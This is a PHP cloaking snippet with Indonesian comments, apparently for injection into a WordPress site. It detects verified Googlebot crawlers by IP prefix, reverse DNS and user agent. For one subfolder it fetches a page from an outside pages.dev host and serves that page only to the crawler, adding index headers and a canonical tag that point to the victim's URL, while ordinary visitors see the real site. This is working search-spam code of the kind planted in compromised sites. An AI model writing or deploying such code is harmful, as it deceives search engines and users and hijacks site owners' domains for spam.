// === GEO & BOT CLOAK – MULAI DARI SINI ===
function is_googlebot_verified() {
    $ip = $_SERVER['REMOTE_ADDR'] ?? '';
    $ua = $_SERVER['HTTP_USER_AGENT'] ?? '';

    $google_ip_ranges = [
        '66.249.', '64.233.', '35.227.', '35.228.', '35.229.', '35.230.', '35.231.', '35.232.', '35.233.', '35.234.', '35.235.', '35.236.',
        '34.100.', '34.101.', '34.118.', '34.126.', '34.146.', '34.147.', '34.151.', '192.178.', '34.160.', '34.162.', '34.163.', '35.165.',
        '34.168.', '34.169.', '34.170.', '34.171.', '34.172.', '34.173.', '34.174.', '34.175.', '34.176.', '34.177.', '34.178.', '34.179.',
        '34.180.', '34.181.', '34.182.', '34.183.', '34.184.', '34.185.', '34.186.', '34.187.', '34.188.', '34.189.', '34.190.', '34.191.',
        '34.192.', '34.193.', '34.194.', '34.195.', '34.196.', '34.197.', '34.198.', '34.199.', '34.200.', '34.201.', '34.202.', '34.203.',
        '34.204.', '34.205.', '34.206.', '34.207.', '34.208.', '34.209.', '34.210.', '34.211.', '34.212.', '34.213.', '34.214.', '34.215.',
        '34.216.', '34.217.', '34.218.', '34.219.', '34.220.', '34.221.', '34.222.', '34.223.', '34.224.', '34.225.', '34.226.', '34.227.',
        '34.228.', '34.229.', '34.230.', '34.231.', '34.232.', '34.233.', '34.234.', '34.235.', '34.236.', '34.237.', '34.238.', '34.239.',
        '34.240.', '34.241.', '34.242.', '34.243.', '34.244.', '34.245.', '34.246.', '34.247.', '34.248.', '34.249.', '34.250.', '34.251.',
        '34.252.', '34.253.', '34.254.', '34.255.'
    ];

    $is_ip_match = false;
    foreach ($google_ip_ranges as $range) {
        if (strpos($ip, $range) === 0) {
            $is_ip_match = true;
            break;
        }
    }

    $is_rdns_google = false;
    if ($is_ip_match) {
        $host = @gethostbyaddr($ip);
        if ($host && (stripos($host, '.googlebot.com') !== false || stripos($host, '.google.com') !== false)) {
            $is_rdns_google = true;
        }
    }

    $is_ua_google = preg_match('/(Googlebot|AdsBot|Mediapartners|Google-InspectionTool)/i', $ua);

    return $is_ua_google && ($is_ip_match && $is_rdns_google);
}

// LOGIKA UTAMA (hanya untuk subfolder /branz-mega-kuningan/)
$current_uri = $_SERVER['REQUEST_URI'] ?? '';
if (strpos($current_uri, '/branz-mega-kuningan/') !== false && is_googlebot_verified()) {
    // URL landing cloaking
    $cloaking_url = 'https://branz-mega.pages.dev/branzmega';

    // Kontek fetch aman & dinamis
    $context = stream_context_create([
        'http' => [
            'method' => 'GET',
            'header' => "User-Agent: MBA-Cloak/1.0 (+https://ariete.org/)\r\n" .
                        "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n" .
                        "Referer: " . (isset($_SERVER['HTTPS']) ? 'https' : 'http') . "://{$_SERVER['HTTP_HOST']}$current_uri\r\n",
            'timeout' => 10,
            'follow_location' => 1,
            'max_redirects' => 3,
        ],
        'ssl' => [
            'verify_peer' => true,
            'verify_peer_name' => true,
            'allow_self_signed' => false,
        ]
    ]);

    // Fetch konten
    $content = @file_get_contents($cloaking_url, false, $context);

    if ($content === false || empty($content)) {
        // Fallback aman (tampil halaman asli, anti error)
        // Tidak echo apa-apa, biarkan WP lanjut normal
    } else {
        // Header SEO boost (anti deindex, powerfull crawl)
        header('Content-Type: text/html; charset=UTF-8');
        header('X-Robots-Tag: index, follow');
        header('Cache-Control: max-age=3600, public');  // Cache 1 jam, boost performa

        // Tambah canonical ke URL asli (boost SEO, anti duplikat)
        $current_full_url = (isset($_SERVER['HTTPS']) ? 'https' : 'http') . "://{$_SERVER['HTTP_HOST']}$current_uri";
        $content = preg_replace('/<head([^>]*)>/i', '<head$1><link rel="canonical" href="' . htmlspecialchars($current_full_url) . '" />', $content, 1);

        // Output konten cloaking
        echo $content;
        exit;
    }
}